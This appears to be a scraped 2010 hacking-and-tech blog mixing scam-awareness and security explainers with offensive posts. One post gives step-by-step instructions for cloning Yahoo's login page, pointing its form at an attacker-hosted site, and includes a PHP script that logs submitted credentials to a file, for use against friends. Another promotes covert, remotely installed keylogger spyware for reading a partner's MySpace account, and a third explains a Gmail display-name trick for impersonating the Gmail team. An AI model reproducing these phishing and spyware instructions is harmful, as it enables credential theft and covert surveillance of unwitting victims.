HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Policies\System

Step 5: Make the changes according to the following data

Value Name: DisableTaskMgr
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disable Task Manager)

Step 6. In the Step 3 and 4, if the values are set to 1 then the Task Manager is disabled. Revert back to 0 in order to enable it back

WARNING: Please Backup your registry before attemting this hack. Changes to registry may lead to system failure.

Beware of Common Internet Scams and Frauds

2010-07-27T19:36:00.000-07:00

The term Internet Scam or Internet Fraud refers to any type of fraud scheme that uses one or more online services to conduct fraudulent activities. Internet fraud can take place on computer programs such as chat rooms, e-mail, message boards, or Web sites. In this post I will discuss about some of the commonly conducted scams and frauds across the Internet.

1. Phishing Scam

This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. Phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Phishing is typically carried out by e-mail or instant messaging.
Example:You may receive an email which claims to have come from your bank/financial institution/online service provider that asks you to click a link and update your account information. When you click such a link it will take you to a fake page which exactly resembles the original ones. Here you’ll be asked to enter your personal details such as username and password. Once you enter your personal details they will be stolen away. Such an email is more than likely the type of Internet scam known as “phishing”. Phishing is said to be highly effective and has proved to have more success rate since most of the common people fail to identify the scam.
Most legitimate companies never request any kind of personal/sensitive information via email. So it is highly recommended that you DO NOT respond to such fraudulent emails. For more information on phishing visit my detailed post What is Phishing?

2. Nigerian Scams

This type of scam involves sending emails (spam) to people in bulk seeking their help to access large amount of money that is held up in a foreign bank account. This email claims that in return for the help you’ll be rewarded a percentage of the fund that involves in the transaction. Never respond to these emails since it’s none other than a scam.
In case if you respond to these emails you will be asked to deposit a small amount of money (say 1-2% of the whole fund) as an insurance or as an advance payment for the initialization of deal. However once you deposit the amount to the scammer’s account you’ll not get any further response from them and you lose your money. In fact “The large amount of money” never exists and the whole story is a trap for innocent people who are likely to become victims. The scammers use a variety of stories to explain why they need your help to access the funds. The following are some of the examples of them.
Examples:

They may claim that political climate or legal issues preclude them from accessing funds in a foreign bank account
They may claim that the person is a minor and hence needs your help to access the funds
They may claim that your last name is the same as that of the deceased person who owned the account and suggest that you act as the Next of Kin of this person in order to gain access to the funds

3. Lottery Scams

This type of scam is similar to the one discussed above. In this type you may receive an email saying that you have won a large sum of money in online lottery scheme (ex. UK Lottery) even though you have not participated in any such schemes. The message claims that your email ID was selected randomly from a lagre pool of IDs. When you respond to such emails they initially ask for your complete name and address so that they can mail the cheque accross to you. After getting those details they may also send you an image of the cheque drawn in your name and address so as to confirm the deal. But in order to mail this cheque they demand a small amount of money as insurance/shipping charge/tax in return. However if you send the amount in hope to receive the cheque all you get is nothing. You’re just trapped in a wonderful scam scheme. Thats it.

4. Other General Scams and Frauds

The following are some of the other types of scams that you should be aware of.
In general, be aware of unsolicited emails that:

Promise you money, jobs or prizes
Ask you to provide sensitive personal information
Ask you to follow a link to a website and log on to an account.
Propose lucrative business deals

However it may seem to be a difficult task for novice Internet users to identify such online scams. Here are some of the common signs of such scam emails. By knowing them it may help you to stay away.

All these scam emails never address you by your name. In turn they commonly address you something like “Dear User” or “Dear Customer” etc. This is a clear indication that the email is a fraudulent one
When you observe the email header you may notice in the “TO:” Field that, the same email is forwarded to a large group of people or the “TO:” field appears blank. So this confirms that the email was not intended particularly for you. It was forwarded for a large group of people and you are one among them

I hope this post helps. Express your opinions through comments.

How to Block Unwanted Emails

2010-07-27T19:35:00.000-07:00

Do you want to block emails from your ex wife/husband? Do you want to block those annoying offers and newsletters that reach your inbox? Well here is a way to block all those unwanted and annoying emails that you do not want to see or read! With this trick you can block individual email address or the whole domain from which you do not want the emails to come from. Here are the step-by-step instructions to do this.

For Gmail

1. Login to your account
2. At the top-right corner, click on Settings
3. Under Settings, click on Filters
4. You’ll now see an option “Create a new filter“, click on it
5. Now in the From field enter the email address from which you do not want to receive the emails
For ex. you may enter john@gmail .com in the From field to block all incoming emails from this address. However if you want to block the whole domain then use the following syntax: *@xyz.com. Now all the incoming emails from the domain xyz.com will be blocked.
6. Click on Next Step, select the action you’d like to take on the blocked emails. You may select the option Delete it so that the blocked email is moved to trash. To unblock the email, all you need to do is just delete the filter that you’ve created.

For Yahoo

1. Login to your account
2. At the top-right corner, click on Options
3. A drop down menu appears, now click on More options
4. In the left panel select the option Filters and click on create or edit filters
5. Now click on Add
6. In the next screen, give a name to your filter and in the From header field enter the email address that you want to block.
Fox ex. samarphathan@gmail.com or if you want to block an entire domain then just enter @xyz.com. Dont enter *@xyz.com. Select the option Move the message to: Trash and click on Save Changes.

For Hotmail

1. Login to your account
2. At the top-right corner, click on Options
3. A drop down menu appears, now click on More options
4. Click on Safe and blocked senders link under Junk e-mail
5. Now click on Blocked senders
6. Type in the email address that you want to block under blocked e-mail address or domain field.
For ex. Enter samarphathan@gmail.com to block the individual email address or just enter xyz.com to block the entire domain.
That’s it. You no longer receive those annoying emails in your inbox. Keep your inbox clean and tidy. I hope this post helps. pass your comments!

Finally, Google Improves Image Search

2010-07-27T19:32:00.000-07:00

Google's image search service will be getting a revamp this week, aimed at making the search function easier to use, and to provide more relevant results. The redesign is essentially the service's first major makeover since Google Images went live in 2001.
At that time, only 250 million images had been catalogued by the Mountain View, Calif. search company. Now over 10 billion images are indexed. With such an increase in volume, obviously the search functionality will need to improve, as does the way the site displays ever larger results.

We hope [the changes] not only make it easier to search for images, but also contribute to a better aesthetic experience," product manager Nate Smith said. "We see images as a major source of inspiration, a way of connecting the world--and their growth is showing no signs of slowing down."

Such is the focus of the changes. The image page will take on a decidedly Bing-like look, where text in the results are eliminated, and image results are spaced more tightly together. Also "infinite scroll" has been introduced: more results would load as the user scrolls down, up to 1,000 images per page.
Interactivity is also increased. Hovering over an image will give the user a larger preview, along with information on that specific image and possible similar ones. Clicking on it takes the user to a preview of the image overlaid on a cached version of the page that it came from.
At an event at Google's Mountain View campus Tuesday, officials said other features will be on their way, such as timeline-based searching of images. It also said that only 10 percent of users would be able to see the changes starting today: it expects a full launch by the end of the week.
With the new Google Images comes a new advertising format, which for the time being would appear exclusively on the Images section. The new option would allow advertisers to place a thumbnail image beside their ad text.
It is not clear whether the search giant has plans to expand this format elsewhere.

Hack yahoo using fake login page

2010-07-27T19:29:00.001-07:00

In this post I’ll show you to hack yahoo using fake login page to hack yahoo in simple steps.A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.However, these Fake login pages are created just for the purpose of stealing other’s passwords.

Here in this post I will give a procedure to create a fake login page of Yahoo.com.The same procedure may be followed to create the fake login page of Gmail and other sites.

Here is a step-by-step procedure to create a fake login page and hack yahoo.

Hack yahoo using fake login page - Procedure

STEP 1.
Go to the Yahoo login page by typing the following URL.

mail.yahoo.com

STEP 2.

Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)
To save the page goto File->Save As

Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.

STEP 3.
Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .

STEP 4.
Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML

STEP 5.
Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.

For example you may find something like this in the opened HTML file

src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif”

Rename the above link into

src=”files/ma_mail_1.gif”

Repeat the same procedure for every file contained in the folder by name “files“.

Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.

STEP 6.
Now search for the following term

action=

you will see something like this

action=https://login.yahoo.com/config/login?

Edit this to

action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replace yoursite.com with yahooupdate.110mb.com.

Save the changes to the file.

NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.

STEP 7.
Now you have to upload your yahoo.HTML, files folder and login.php to

yoursite.com Root folder

NOTE: Make sure that your host supports PHP

Tip: 110mb.com supports PHP

STEP 8.
Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)

Tip: login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username & password

NOTE: The concept here is to save the password.The format is not important here.

STEP 9.
Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.
here is the login script which i am posting due to large number of requst

header("Location: http://WEBSITE ");
$handle =

fopen("pass.txt", "a");
foreach($_GET as

$variable => $value) {
fwrite($handle,

$variable);
fwrite($handle, "=");

fwrite($handle, $value);
fwrite($handle,

"\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;

Free Internet download manager 5.2 Crack

2010-07-27T19:28:00.000-07:00

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Pakistani Hackers VS Indian Hackers Cyber war who wins?

2010-07-27T19:25:00.001-07:00

In this current age of Technology wars some battles are not faught by weapons or Guns but also Through Technology.Since the advent of Information Technology among the masses of South Asia in mid 1990s, the pace of cyber wars between Pakistan and India have also been increased.
Cyberwars between the two countries first started in May 1998, when India conducted its nuclear tests. Soon after India officially announced the test, a group of Pakistan-based hackers called milw0rm broke into the Bhabha Atomic Research Center web site and posted anti-India and anti-nuclear messages.Recently it seems like a Cyber war has been started between Pakistani Hackers and Indian hackers.This all started when IGCOE Hacker from India hacked Punjabi Pakistani Police official website.

In Response to it Pakistani Hackers hacked India's following websites:

1.http://www.syscontech.in/

2.http://www.iirs.gov.in/

3.http://www.ctram.indianrail.gov.in/

4.http://www.kvrtm.org.in/

5.http://www.kibs.ac.in/

The suspected group to hack these sites was Pakbugs.Later Indian hackers a group named HMG striked back and hacked several Pakistani websites including the Popular OGRA .Some of Websites which were hacked were:

1.http://www.syscontech.in/

2.http://www.iirs.gov.in/

3.http://www.ctram.indianrail.gov.in/

4.http://www.kvrtm.org.in/

This cyber war is still going resulting in defacement of several Pakistani as well as Indian websites.

Who Wins the battle?

Now you must be curious that who wins the battle Pakistani hackers or Indian Hackers, the answer is no one.Its not a win-lose situation but its a loose -loose situation.Both Pakistani and Indian websites got hacked which means that both the countries suffered loss.This battle may result in loss of innocent people who are not the part of war.

Knowing Hacking does not mean that you should use it negatively or use it to gain access ans stealing other persons personal data.I am my self a Pakistani and well aware of all Hacking techniques but i have never used it negatively and abusively, but i use my Hacking skills for positive purpose e.g recovering lost email accounts or Personal data of others etc i.e helping out other people rather than Hacking email account and Stealing Private data.

How website got hacked?

I have carefully studied some of hacked sites.The method which is used widely is SQL Injection.SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.
When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command.
.The other methods which i think which were used are Brute force or Dictionary Attacks.The hackers might have cracked FTP password to gain access to Server.I have written a Detailed Post on Common methods to hack a website.Which will tell you some of popular methods which hackers use to gain access to a website.

Message for both Pakistani and Indian Hackers:

I personally request both of you to stop this cyber war.This cyber war will never end this way and will infect both countries relations..Lets establish a friendly relations and use our skills in a positive manner.

Remember what Quaid - e- Azam said:

"An enemy of today is a Friend of tommorow"

Message for upcoming Hackers:

My message to upcoming hackers or people who are interested in this field is that there is nothing bad to have the knowledge of hacking or hacking techniques, what’s bad is the usage of such knowledge and skill against our own country, National and international organizations or departments – that may cause damage to our country and its repute in the world. Don’t push your efforts to get famous. The fame will come by the time and later will end you in trouble.

How to identify phishing scams

2010-07-27T19:24:00.000-07:00

Tips to protect yourselves from phishing:

1. Don’t reply to, or click links within, emails that ask for personal, financial, or account information.

2. Check the message headers. The ‘From:’ address and the ‘Return-path’ should reference the same source. If necessary, look at the expanded header as some phishing use vulnerable email servers to rout their messages.

3. Instead of clicking the links in emails, go to the websites directly by typing the web address into your browser, cut and paste, or use bookmarks.

4. If on a secure page, look for “https” at the beginning of the URL and the padlock icon in the browser.

5. Use a browser that has a phishing filter (Firefox, Internet Explorer, or Opera).

6. If you ever need to change your account information, such as your billing details or your password, you should always sign in to your account from the main login page of your trusted network (i.e. your bank’s main website) and make the changes directly within your account.

What is CAPTCHA and How it Works?

2010-07-27T19:22:00.000-07:00

CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for “Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.

Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find a detailed information on how CAPTCHA works and why they are used.

What Purpose does CAPTCHA Exactly Serve?

CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve.

What is the Need to Create a Test that Can Tell Computers and Humans Apart?

For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated softwares to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail.

Who Uses CAPTCHA?

CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Web-based email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.

Designing a CAPTCHA System

CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. Sometimes characters are striked out or presented with a noisy background to make it even more harder for computers to figure out the patterns.
Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can easily be solved by any human, but almost impossible for a computer.

Breaking the CAPTCHA

The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.

How to Detect Anonymous IP Addresses

2010-07-27T19:21:00.000-07:00

As the fraudsters are now becoming more sophisticated in bypassing the Geo-location controls by using proxies (Anonymous IPs) to spoof their IP address, it has become very much necessary to come up with a means for detecting the proxies so that the authenticity of the users can be verified. Using a proxy (web proxy) is the simplest and easiest way to conceal the IP address of an Internet user and maintain the online privacy. However proxies are more widely used by online fraudsters to engage in cyber crimes since it is the easiest way to hide their actual Geo-location such as city/country through a spoofed IP address. Following are some of the examples where fraudsters use the proxies to hide their actual IP.

1. Credit Card Frauds
For example, say a Nigerian fraudster tries to purchase goods online with a stolen credit card for which the billing address is associated with New York. Most credit card merchants use Geo-location to block orders from countries like Nigeria and other high risk countries. So in order to bypass this restriction the credit card fraudster uses a proxy to spoof his IP address so that it appears to have come from New York. The IP address location appears to be legitimate since it is in the same city as the billing address. A proxy check would be needed to flag this order.

2. Bypass Website Country Restrictions
Some website services are restricted to users form only a selected list of countries. For example, a paid survey may be restricted only to countries like United States and Canada. So a user from say China may use a proxy so as to make his IP appear to have come from U.S. so that he can earn from participating in the paid survey.

Proxy Detection Services

So in order to stop such online frauds, Proxy Detection has become a critical component. Today most companies, credit card merchants and websites that deal with e-commerce transactions make use of Proxy Detection Services like MaxMind and FraudLabs to detect the usage of proxy or spoofed IP from users participating online.
Proxy Detection web services allow instant detection of anonymous IP addresses. Even though the use of proxy address by users is not a direct indication of fraudulent behaviour, it can often indicate the intention of the user to hide his or her real IP. In fact, some of the most used ISPs like AOL and MSN are forms of proxies and are used by both good and bad consumers.

How Proxy Detection Works?
Proxy detection services often rely on IP addresses to determine whether or not the IP is a proxy. Merchants can obtain the IP address of the users from the HTTP header on the order that comes into their website. This IP address is sent to the proxy detecting service in real time to confirm it’s authenticity.
The proxy detection services on the other hand compare this IP against a known list of flagged IPs that belong to proxy services. If the IP is not on the list then it is authenticated and the confirmation is sent back to the merchant. Otherwise it is reported to be a suspected proxy. These proxy detection services work continuously to grab a list or range of IPs that are commonly used for proxy services. With this it is possible to tell whether or not a given IP address is a proxy or spoofed IP.

How to Tell Whether a given IP is Real or a Proxy?
There are a few free sites that help you determine whether or not a given IP is a proxy. You can use free services like WhatisMyIPAddress to detect proxy IPs. Just enter the suspected IP in the field and click on “Lookup IP Address” button to check the IP address. If it is a suspected proxy then you will see the results something as follows.

So for all those who think that they can escape by using a spoofed IP, this post is the answer. I hope this information helps. Pass your comments.

What is Phishing ?

2010-07-26T17:13:00.000-07:00

Phishing is an attempt to criminally and fraudulently acquire sensitive information, such as usernames, passwords and credit card details, by appearing as a trustworthy entity in an electronic communication. eBay, PayPal and other online banks are common targets. Phishing is typically carried out by email or instant messaging and often directs users to enter details at a website, although phone contact has also been used. Phishing is an example of social engineering techniques used to fool users. Attempts to deal with the growing number of reported phishing incidents include legislation, user training, public awareness, and technical measures.
Recent phishing attempts have targeted the customers of banks and online payment services. Social networking sites such as Orkut are also a target of phishing.
Spoofed/Fraudulent e-mails are the most widely used tools to carry out the phishing attack. In most cases we get a fake e-mail that appears to have come from a Trusted Website . Here the hacker may request us to verify username & password by replaying to a given email address.

TECHNIQUES BEHIND PHISHING ATTACK

1. Link Manipulation
Most methods of phishing use some form of technical deception designed to make a link in an email appear to belong to some trusted organization or spoofed organization. Misspelled URLs or the use of subdomains are common tricks used by phishers, such as this example URL
www.micosoft.com
www.mircosoft.com
www.verify-microsoft.com
instead of www.microsoft.com

2. Filter Evasion
Phishers have used images instead of text to make it harder for anti-phishing filters to detect text commonly used in phishing emails. This is the reason Gmail or Yahoo will disable the images by default for incoming mails.

How does a phishing attack/scam look like?
As scam artists become more sophisticated, so do their phishing e-mail messages and pop-up windows. They often include official-looking logos from real organizations and other identifying information taken directly from legitimate Web sites. Here is an example of how the phishing scam email looks like

Example of a phishing e-mail message, including a deceptive URL address linking to a scam Web site.
To make these phishing e-mail messages look even more legitimate, the scam artists may place a link in them that appears to go to the legitimate Web site (1), but it actually takes you to a phishing site (2) or possibly a pop-up window that looks exactly like the official site.
These copycat sites are also called “spoofed” Web sites. Once you’re at one of these spoofed sites, you may send personal information to the hackers.

How to identify a fraudulent e-mail?
Here are a few phrases to look for if you think an e-mail message is a phishing scam.
“Verify your account.”
Legitimate sites will never ask you to send passwords, login names, Social Security numbers, or any other personal information through e-mail.
“If you don’t respond within 48 hours, your account will be closed.”
These messages convey a sense of urgency so that you’ll respond immediately without thinking.
“Dear Valued Customer.”
Phishing e-mail messages are usually sent out in bulk andoften do not contain your first or last name.
“Click the link below to gain access to your account.”
HTML-formatted messages can contain links or forms that you can fill out just as you’d fill out a form on a Web site. The links that you are urged to click may contain all or part of a real company’s name and are usually “masked,” meaning that the link you see does not take you to that address but somewhere different, usually a scam Web site.
Notice in the following example that resting the mouse pointer on the link reveals the real Web address, as shown in the box with the yellow background. The string of cryptic numbers looks nothing like the company’s Web address, which is a suspicious sign.

So the Bottom line to defend from phishing attack is
1. Never assume that an email is valid based on the sender’s email address.
2. A trusted bank/organization such as paypal will never ask you for your full name and password in a PayPal email.
3. An email from trusted organization will never contain attachments or software.
4. Clicking on a link in an email is the most insecure way to get to your account.

2010-07-26T17:11:00.000-07:00

How to Hack MySpace

If you are wondering to know how to hack MySpace account of your wife, husband, girl/boy friend then you have landed at the right place. I have seen many cheaters create secret MySpace accounts in order to have secret relationships with another person. So, it’s no wonder why many people want to hack into MySpace account to reveal the secret.

Is it Possible to Hack MySpace?

Yes. As a matter of fact, almost anything can be hacked on the Internet. However you must be aware of the following things before you proceed to hack MySpace.
1. Never trust any Hacking Service that claims to hack a MySpace account for a fee. I have personally tried and tested many of them. All I can tell you is that they are no more than a scam.
2. With my experience of about 8 years in the field of Hacking and IT security, I can tell you that there are only TWO ways to hack MySpace: They are Keylogging and Phishing. All the other ways are simply scam or don’t work!
The following are the only 2 foolproof methods that work:

1. How to Hack Myspace: The Easiest Way

The easiest way to hack MySpace is by using a keylogger (Also known as Spy software). A keylogger is a small program that monitors each and every keystroke that a user types on a specific computer’s keyboard. Keylogging can not only get you the password, but also has the power to monitor each and every activity they perform on their compter. To use a keylogger you don’t need to have any special knowledge. Anyone with a basic knowledge of computers can use the keyloggers. Hence for novice computer users, it is the ideal way to obtain MySpace password. With my experience I recommend the following keylogger as the best.

SniperSpy – The No.1 Keylogger

SniperSpy is revolutionary software that allows you to access *ANY* online account or password protected material. MySpace, Facebook, Yahoo, Gmail, etc. There are absolutely *NO* limitations to what accounts or websites this software can access!

Why Sniperspy is the best?
1. With my experience of over 8 years in the field of IT security, I have tried almost every product currently available and know the ins and outs of what it is and how it works.
2. Sniperspy is the only software that offers a complete stealth and easy access to any password.

Here is a summary of benifits that you will receive with Sniperspy software:
1. Access ANY Password
Using Sniperspy, you can hack every password typed, allowing you to access any type of password protected account.

2. Monitor all the Activities on the Target Computer and Access Protected MySpace Accounts
With Sniperspy you can do anything from secretly recording their IM conversations to accessing protected MySpace, Facebook or email accounts.

3. Never Get Caught
This software runs in a total stealth mode which makes it possible to record the activities without anyone knowing it.

4. Remote Install Feature
No physical access to your remote PC is needed to install the spy software. You can install the software even if the PC is out of country!

5. Extremely Easy to Use
Sniperspy is designed for novice computer users and requires no special skills.

How safe is to use SniperSpy?
SinperSpy is completely safe and secure since it neither collects any information from your computer nor contact you in any way unless you request assistance. SniperSpy is a reputed, trustworthy and reliable company which offers 100% privacy for it’s users.

Is my online order 100% secure?
Absolutely Yes! All the e-commerce transactions for SniperSpy are routed through a highly secure payment gateway. So all your information remains private and secure. Also SniperSpy is backed by 100% Money Back Guarantee. So you have nothing to lose and everything to gain. Go grab SniperSpy now and expose the truth!

2. Other Ways to Hack Myspace

Phishing
Phishing is the most commonly used method to hack into MySpace or any other email. The most widely used technique in phishing is the use of Fake Login Page (also known as spoofed page). These fake login pages resemble the original login pages of sites like Yahoo, Gmail, MySpace etc. Here the victim is trickedto make him believe the fake login page to be the real one and enter hispassword. But once the user attempts to login through these pages, his/her login details are stolen away. However phishing requires specialized knowledge and high level skills to implement. So I recommend the use of keyloggers to hack MySpace since it is the easiest way.

How to Trace Any IP Address

2010-07-26T17:09:00.000-07:00

In my earlier post I had discussed about how to capture the IP address of a remote computer. Once you obtain this IP address it is necessary to trace it back to it’s source. So in this post I will show you how to trace any IP address back to it’s source. In fact tracing an IP address is very simple and easy than we think. There exists many websites through which you can trace any IP address back to it’s source. One of my favorite site is ip2location.com.
Just go to http://www.ip2location.com/demo.aspx and enter the IP address that you want to trace in the dialog box and click on “Find Location”‘. With just a click of a button you can find the following information for any given IP address.
1. Country in which the IP is located
2. Region
3. City
4. Latitude/Longitude
5. Zip Code
6. Time Zone
7. Name of the ISP
8. Internet Speed
9. Weather Station
10. Area Code and
11. Domain name associated with the IP address.
A sample snapshot of the results from ip2location.com is given below

You can also visually trace route any IP address back to it’s location. For this just visit http://www.yougetsignal.com/tools/visual-tracert/ and enter the IP you want to trace in the dialog box and hit the “Proxy Trace” button. Wait for few seconds and the visual trace route tool displays the path Internet packets traverse to reach a specified destination. Hope this helps. Please pass you comments.

Know More About Secure Sockets Layer (SSL)

2010-07-26T17:08:00.001-07:00

Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE communication.

What exactly is Secure Communication ?

Suppose there exists two communication parties A (client) and B (server).

Working of HTTP
When A sends a message to B, the message is sent as a plain text in an unencrypted manner. This is acceptable in normal situations where the messages exchanged are not confidential. But imagine a situation where A sends a PASSWORD to B. In this case, the password is also sent as a plain text. This has a serious security problem because, if an intruder (hacker) can gain unauthorised access to the ongoing communication between A and B , he can see the PASSWORDS since they remain unencrypted. This scenario is illustrated using the following figure

Now lets see the working of HTTPS
When A sends a PASSWORD (say “mypass“) to B, the message is sent in an encrypted format. The encrypted message is decrypted on B‘s side. So even if the Hacker gains an unauthorised access to the ongoing communication between A and B he gets only the encrypted password (“xz54p6kd“) and not the original password. This is shown below

How is HTTPS implemented ?

HTTPS is implemented using Secure Sockets Layer (SSL). A website can implement HTTPS by purchasing an SSL Certificate. Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors to trust it. It has the following uses

An SSL Certificate enables encryption of sensitive information during online transactions.
Each SSL Certificate contains unique, authenticated information about the certificate owner.
A Certificate Authority verifies the identity of the certificate owner when it is issued.

How Encryption Works ?
Each SSL Certificate consists of a Public key and a Private key. The public key is used to encrypt the information and the private key is used to decrypt it. When your browser connects to a secure domain, the server sends a Public key to the browser to perform the encryption. The public key is made available to every one but the private key(used for decryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key and sends it to the server. The message is decrypted on the server side using the Private key(Secret key).

How to identify a Secure Connection ?
In Internet Explorer, you will see a lock icon in the Security Status bar. The Security Status bar is located on the right side of the Address bar. You can click the lock to view the identity of the website.
In high-security browsers, the authenticated organization name is prominently displayed and the address bar turns GREEN when an Extended Validation SSL Certificate is detected. If the information does not match or the certificate has expired, the browser displays an error message or warning and the status bar may turn RED.
So the bottom line is, whenever you perform an online transaction such as Credit card payment, Bank login or Email login always ensure that you have a secure communication. A secure communication is a must in these situations. Otherwise there are chances of Phishing using a Fake login Page.

A Closer Look at a Vulnerability in Gmail

2010-07-26T17:07:00.001-07:00

Gmail is one of the major webmail service provider across the globe. But as we all know Gmail still carries that 4 letter word BETA. Sometimes we may wonder, why Gmail is still in the testing stage even after years of it’s emergence. Here is one small reason for that.
Gmail follows a strict rule that doesn’t allow it’s users to have their first or the last name contain the term Gmail or Google. That is, while signing up for a new Gmail account the users cannot choose a first or last name that contains the term Gmail or Google. You can see this from the below snapshot.

This rule is implemented by Gmail for obvious reasons, because if the users are allowed to keep their first or the last name that contains the term Gmail or Google, then it is possible to easily impersonate the identity of Gmail (or Gmail Team) and engage themselves in phising or social engineering attacks on the innocent users. This can be done by simply choosing the first and last name with the following combinations.

First Name Last Name

Gmail Team

Google Team

Gmail Password Assistance

From the above snapshot we can see that, Gmail has made a good move in stopping the users from abusing it’s services. However this move isn’t just enough to prevent the malicious users from impersonating the Gmail’s identity. Because Gmail has a small vulnerability that can be exploited so that the users can still have their name contain the terms Gmail or Google. You may wonder how to do this. But it’s very simple.
1. Login to your Gmail account and click on Settings.
2. Select Accounts tab
3. Click on edit info
4. In the Name field, select the second radio button and enter the name of your choice. Click on Save Changes and you’re done!
Now, Gmail accepts any name even if it contains the term Google or Gmail. You can see from the below snapshot

Allowing the users to have their names contain the terms Gmail or Google is a serious vulnerability even though it doesn’t seem to be a major one. This is because a hacker or a malicious attacker can easily exploit this flaw and send phishing emails to other Gmail users asking for sensitive information such as their passwords. Most of the users don’t even hesitate to send their passwords since they believe that they are sending it to Gmail Team (or someone authorized). But in reality they are sending it to an attacker who uses these information to seek personal benefits.
So the bottomline is, if you get any emails that appears to have come from the Gmail Team or similar, don’t trust them! Anyone can send such emails to fool you and take away your personal details. Hope that Gmail will fix this vulnerability as soon as possible to avoid any disasters.

Anti-Spywares

2010-07-26T17:06:00.002-07:00

Do you have an anti-spyware program installed on your computer? If your answer is no, then you are under a serious risk of being exposed to thousands of spyware and adware programs across the Internet. Just having an Antivirus installed is not enough! If you are a frequent Internet user then there is a desperate need for you to use a good anti-spyware program to protect your Computer from dangerous threats.
The following are some of the major risks of spywares
1. Spyware programs are designed specifically to monitor and record your behaviors, such as track websites you visit online, or monitor your use of other web-based programs.
2. Hackers mainly use spywares to steal sensitive information such as email passwords and credit card data. So it is a must to have an anti-spyware installed on your computer. Antivirus isn’t just enough today!
3. Spyware is also capable of performing activities such as completely shutting down your computer, or permanently erasing or damaging files. Valuable client files could be destroyed in a blink of an eye, making this type of spyware threat high-risk.
Did you know? Spywares are more dangerous than viruses. So, use a good anti-spyware to avoid the risk of being exposed to spywares.

Rayahari recommends the following anti-spyware programs.

1. Spyware Cease

Spyware Cease effectively scans, removes and blocks spyware, trojans, keyloggers, adware, malicious tracking cookies, browser hijackers, worms, phishing attacks, rootkits, bots, malicious BHOs, dialers and many more spyware threats.
Spyware Cease is a powerful spyware and malware remover but consumes slightly computer resources. With Spyware Cease, you can safeguard PC security and enhance PC performance with ease:

100% Real-Time Guard
Spyware Cease guards your computer and ensures spyware is prevented before it sneaks into your system.
Safe Internet Searching
Spyware Cease safeguards that your online activities, such as shopping, banking transactions and Internet surfing, are completely safe with ease.
Custom Fix for Specific Unsolved Spyware
If you have a problem we can not automatically remove with the latest Spyware Cease, our expert team will create the complete custom fix for your specific spyware problems.
Enhance Computer Performance
Spyware Cease conserves computer resources by identifying and removing spyware programs that eat up your PC memory and CPU.

For more information on this program and download details visit the following link
Spyware Cease

2. NoAdware

